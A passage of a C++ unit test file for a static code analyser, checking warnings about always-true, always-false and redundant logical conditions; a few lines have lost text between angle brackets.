== 1 && x == 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1.0 && x == 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // float comparisons with == and != are not checked right now - such comparison is a bad idea\n\n check(\"void f(float x) {\\n\"\n \" if (x == 1 && x == 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar(float f) {\\n\" // #5246\n \" if ((f > 0) && (f < 1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1.0 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 1.0 && x <= 1.001)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(float x) {\\n\"\n \" if (x < 1.0 && x > 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 3.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if((x==3) && (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\" // #8860\n \" const std::size_t p = s.find(\\\"42\\\");\\n\"\n \" const std::size_t * const ptr = &p;\\n\"\n \" if(p != std::string::npos && p == 0 && *ptr != 1){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36] -> [test.cpp:4:49]: (style) Condition '*ptr!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) && (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) || (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) || (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) && (x!=3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 3 && x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==6) || (x!=6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x == 6 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 10 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x == 6' is sufficient. [redundantCondition]\\n\", errout_str());\n\n // #3419\n check(\"void f() {\\n\"\n \" if ( &q != &a && &q != &b ) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3676\n check(\"void f(int m_x2, int w, int x) {\\n\"\n \" if (x + w - 1 > m_x2 || m_x2 < 0 )\\n\"\n \" m_x2 = x + w - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= 1.0e20 && x >= -1.0e20) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x >= 1.0e20 && x <= 1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= -1.0e20 && x >= -1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator3() {\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 && x == 1;\\n\"\n \" c = x < 1 && x == 3;\\n\"\n \" d = x >= 5 && x == 1;\\n\"\n \" e = x <= 1 && x == 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:3:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x == 3. [incorrectLogicOperator]\\n\"\n \"[test.cpp:4:16]: (warning) Logical conjunction always evaluates to false: x >= 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:5:16]: (warning) Logical conjunction always evaluates to false: x <= 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator4() {\n check(\"#define ZERO 0\\n\"\n \"void f(int x) {\\n\"\n \" if (x && x != ZERO) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int N) {\\n\" // #9789\n \" T a[20] = { 0 };\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (0 < a[i] && a[i] < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator5() { // complex expressions\n check(\"void f(int x) {\\n\"\n \" if (x+3 > 2 || x+3 < 10) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x+3 > 2 || x+3 < 10. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator6() { // char literals\n check(\"void f(char x) {\\n\"\n \" if (x == '1' || x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char x) {\\n\"\n \" if (x == '1' && x == '2') {}\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == '1' && x == '2'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c >= 'a' && c <= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning, inconclusive) Logical conjunction always evaluates to false: c <= 'a' && c >= 'z'. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"int f(char c) {\\n\"\n \" return (c <= 'a' && c >= 'z');\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:2:25]: (style) Return value 'c>='z'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator7() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (i || !i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Logical disjunction always evaluates to true: i || !(i). [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a<=b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical disjunction always evaluates to true: a > b || a <= b. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (a>b || a T icdf( const T uniform ) {\\n\"\n \" if ((0 -1.0 - 1.0e-12))\\n\"\n \" return;\\n\"\n \" else\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator8() { // opposite expressions\n check(\"void f(int i) {\\n\"\n \" if (!(i!=10) && !(i!=20)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: !(i != 10) && !(i != 20). [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator9() { // #6069 \"False positive incorrectLogicOperator due to dynamic_cast\"\n check(\"class MyType;\\n\"\n \"class OtherType;\\n\"\n \"void foo (OtherType* obj) {\\n\"\n \" assert((!obj) || dynamic_cast(obj));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator10() { // #7794 - enum\n check(\"typedef enum { A, B } Type_t;\\n\"\n \"void f(Type_t t) {\\n\"\n \" if ((t == A) && (t == B))\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: t == 0 && t == 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator11() {\n check(\"void foo(int i, const int n) { if ( i < n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i < n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i > n && i == n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (warning) Logical conjunction always evaluates to false: i > n && i == n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i > n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i > n. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void foo(int i, const int n) { if ( i == n && i < n ) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:44]: (warning) Logical conjunction always evaluates to false: i == n && i < n. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator12() { // #8696\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:9] -> [test.cpp:6:9] -> [test.cpp:8:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" A x = b;\\n\"\n \" A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(A a, A b) {\\n\"\n \" const A x = b;\\n\"\n \" const A y = b;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:3:15] -> [test.cpp:5:13]: (warning) Logical conjunction always evaluates to false: a > x && a < y. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:18]: (style) Condition 'a x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" A x = a;\\n\"\n \" A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(A a) {\\n\"\n \" const A x = a;\\n\"\n \" const A y = a;\\n\"\n \" y.f();\\n\"\n \" if (a > x && a < y)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'a>x' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:18]: (style) Condition 'a [test.cpp:3:18]: (warning) Logical conjunction always evaluates to false: v == 1 && x == 2. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f2(const int *v) {\\n\"\n \" const int *x=v;\\n\"\n \" if ((*v == 1) && (*x == 2)) {;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:3:19]: (warning) Logical conjunction always evaluates to false: *(v) == 1 && *(x) == 2. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void incorrectLogicOperator14() {\n check(\"static const std ::string h;\\n\"\n \"class i {\\n\"\n \"public:\\n\"\n \" struct j {\\n\"\n \" std ::string k;\\n\"\n \" std ::string l;\\n\"\n \" };\\n\"\n \" struct a {\\n\"\n \" enum { m = 1 };\\n\"\n \" };\\n\"\n \"} b;\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"}\\n\"\n \"struct o {\\n\"\n \" enum { p, d, q, r };\\n\"\n \" enum { e, f };\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class j {\\n\"\n \" public:\\n\"\n \" class s {\\n\"\n \" std ::string a;\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"namespace aa {\\n\"\n \"class d {\\n\"\n \"public:\\n\"\n \" char t;\\n\"\n \" enum {} u;\\n\"\n \"};\\n\"\n \"} // namespace aa\\n\"\n \"namespace aa {\\n\"\n \"struct e {};\\n\"\n \"} // namespace aa\\n\"\n \"class a;\\n\"\n \"class w {\\n\"\n \"public:\\n\"\n \" enum { x };\\n\"\n \" struct {\\n\"\n \" } y;\\n\"\n \" std ::string z;\\n\"\n \"};\\n\"\n \"class ab {\\n\"\n \" friend class c;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" class ac {\\n\"\n \" void e(const ac &v) const;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class f;\\n\"\n \"class ad {\\n\"\n \" friend class e;\\n\"\n \" enum { e, ae, ag, ah, ai, aj, ak, a, b };\\n\"\n \" class c {};\\n\"\n \" class d {\\n\"\n \" enum am { f, an, ao, ap, aq, ar, b, as, at, c, au };\\n\"\n \" enum av { aw, ax, ay, az, e, ba, bb, bc, bd, a };\\n\"\n \" struct b {\\n\"\n \" am action;\\n\"\n \" av c;\\n\"\n \" };\\n\"\n \" };\\n\"\n \" class e {\\n\"\n \" public:\\n\"\n \" std ::string e;\\n\"\n \" class f {\\n\"\n \" } f;\\n\"\n \" class be {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \" std ::vector bf;\\n\"\n \" enum { bg, b } c;\\n\"\n \" };\\n\"\n \" struct bh {\\n\"\n \" std ::map b;\\n\"\n \" };\\n\"\n \" std ::map bi;\\n\"\n \" struct {\\n\"\n \" int b;\\n\"\n \" char bj;\\n\"\n \" } bk;\\n\"\n \" class a {\\n\"\n \" public:\\n\"\n \" std ::set b;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class bl;\\n\"\n \"class al;\\n\"\n \"class bm;\\n\"\n \"class f;\\n\"\n \"class b;\\n\"\n \"class bn;\\n\"\n \"namespace bo {\\n\"\n \"class bp {\\n\"\n \"public:\\n\"\n \" typedef std ::pair bq;\\n\"\n \" typedef std ::list br;\\n\"\n \"};\\n\"\n \"const bo ::bp *dg(const f *a, const al *b);\\n\"\n \"} // namespace bo\\n\"\n \"const bn *dh(const f *d, bo ::bp ::br &bs);\\n\"\n \"class f {\\n\"\n \"public:\\n\"\n \" struct bt {};\\n\"\n \" std ::vector f;\\n\"\n \"};\\n\"\n \"class bu;\\n\"\n \"class a;\\n\"\n \"class c;\\n\"\n \"struct bv {};\\n\"\n \"class af {\\n\"\n \"private:\\n\"\n \"public:\\n\"\n \" enum { b, d, e, f, c, bw };\\n\"\n \" void a(int c);\\n\"\n \" af *bx() const;\\n\"\n \"};\\n\"\n \"namespace by {\\n\"\n \"class b;\\n\"\n \"}\\n\"\n \"class b {\\n\"\n \"public:\\n\"\n \" bool d, c;\\n\"\n \"};\\n\"\n \"class bz;\\n\"\n \"class f;\\n\"\n \"class ca {\\n\"\n \" friend class b;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" const bm *cb() const { return cc; }\\n\"\n \" f *d(f *e, bool f) const;\\n\"\n \" int e() { return ++cd; }\\n\"\n \" bl *const c;\\n\"\n \" bm *cc;\\n\"\n \" std ::map ce;\\n\"\n \" int cd;\\n\"\n \" bz *a;\\n\"\n \"};\\n\"\n \"namespace n {\\n\"\n \"class c;\\n\"\n \"class d;\\n\"\n \"} // namespace n\\n\"\n \"class cf {\\n\"\n \"public:\\n\"\n \" explicit cf(const std ::string &aname);\\n\"\n \" cf(const std ::string &aname, const ca *cg, const al *ch, bl *ci)\\n\"\n \" : cj(cg), ck(ch), cl(ci), cn(aname) {}\\n\"\n \"\\n\"\n \"protected:\\n\"\n \" const ca *const cj;\\n\"\n \" const al *const ck;\\n\"\n \" bl *const cl;\\n\"\n \" const std ::string cn;\\n\"\n \"};\\n\"\n \"class cm : public cf {\\n\"\n \"public:\\n\"\n \" void cp();\\n\"\n \" std ::string d() const;\\n\"\n \"};\\n\"\n \"struct co {\\n\"\n \" co();\\n\"\n \" const bu *a;\\n\"\n \" enum f {};\\n\"\n \" enum {\\n\"\n \" b = (1 << 0),\\n\"\n \" c = (1 << 1),\\n\"\n \" };\\n\"\n \" void d(bool e);\\n\"\n \"};\\n\"\n \"class bu {\\n\"\n \" friend class e;\\n\"\n \"\\n\"\n \"public:\\n\"\n \" struct f {};\\n\"\n \" enum { d, cr, cq, ct, cs, e, a, b, c, dd, cu, cv, cw, cx, cy, cz, da };\\n\"\n \" const f *db;\\n\"\n \" const af *dc;\\n\"\n \"} f{};\\n\"\n \"class bm {\\n\"\n \"public:\\n\"\n \" std ::list df;\\n\"\n \" std ::vector de;\\n\"\n \" mutable std ::set f;\\n\"\n \"};\\n\"\n \"void cm ::cp() {\\n\"\n \" const bm *a = cj->cb();\\n\"\n \" for (const bu *b : a->de)\\n\"\n \" for (af *c = b->dc->bx();;) {\\n\"\n \" af *d = c;\\n\"\n \" af *e = c;\\n\"\n \" bool f(d);\\n\"\n \" bool g(e);\\n\"\n \" if (f && g)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:200:11] -> [test.cpp:200:16]: (style) Condition 'g' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator15() {\n // 10022\n check(\"struct PipeRoute {\\n\"\n \" std::deque points;\\n\"\n \" std::deque estimates;\\n\"\n \"};\\n\"\n \"void CleanPipeRoutes(std::map& pipeRoutes) {\\n\"\n \" for (auto it = pipeRoutes.begin(); it != pipeRoutes.end(); ) {\\n\"\n \" PipeRoute* curRoute = it->second;\\n\"\n \" if (curRoute->points.empty() && curRoute->estimates.size() != 2)\\n\"\n \" {\\n\"\n \" delete curRoute;\\n\"\n \" it = pipeRoutes.erase(it);\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator16() { // #10070\n check(\"void foo(void* p) {\\n\"\n \" if (!p || p == -1) { }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator17() { // #12471\n check(\"struct R {\\n\"\n \" void set() { i = 1; }\\n\"\n \" int get() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct P {\\n\"\n \" void f();\\n\"\n \" R* r;\\n\"\n \"};\\n\"\n \"void P::f() {\\n\"\n \" int a = r->get();\\n\"\n \" r->set();\\n\"\n \" if (a == 0 && r->get()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void secondAlwaysTrueFalseWhenFirstTrueError() {\n check(\"void f(void) {\\n\" // #8892\n \" const char c[1] = { \\'x\\' }; \\n\"\n \" if(c[0] == \\'x\\'){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'c[0]=='x'' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 1))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 3 || x == 4;\\n\"\n \" c = x < 5 || x == 4;\\n\"\n \" d = x >= 3 || x == 4;\\n\"\n \" e = x <= 5 || x == 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x > 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x >= 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x <= 5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 || x != 1;\\n\"\n \" c = x < 1 || x != 3;\\n\"\n \" d = x >= 5 || x != 1;\\n\"\n \" e = x <= 1 || x != 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x < 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x >= 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x <= 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 6 && x > 5;\\n\"\n \" c = x > 5 || x > 6;\\n\"\n \" d = x < 6 && x < 5;\\n\"\n \" e = x < 5 || x < 6;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x > 6' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x > 6' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:15]: (style) Redundant condition: The condition 'x < 6' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:15]: (style) Redundant condition: The condition 'x < 5' is redundant since 'x < 6' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(double x, bool& b) {\\n\"\n \" b = x > 6.5 && x > 5.5;\\n\"\n \" c = x > 5.5 || x > 6.5;\\n\"\n \" d = x < 6.5 && x < 5.5;\\n\"\n \" e = x < 5.5 || x < 6.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x > 5.5' is redundant since 'x > 6.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:17]: (style) Redundant condition: The condition 'x > 6.5' is redundant since 'x > 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:17]: (style) Redundant condition: The condition 'x < 6.5' is redundant since 'x < 5.5' is sufficient. 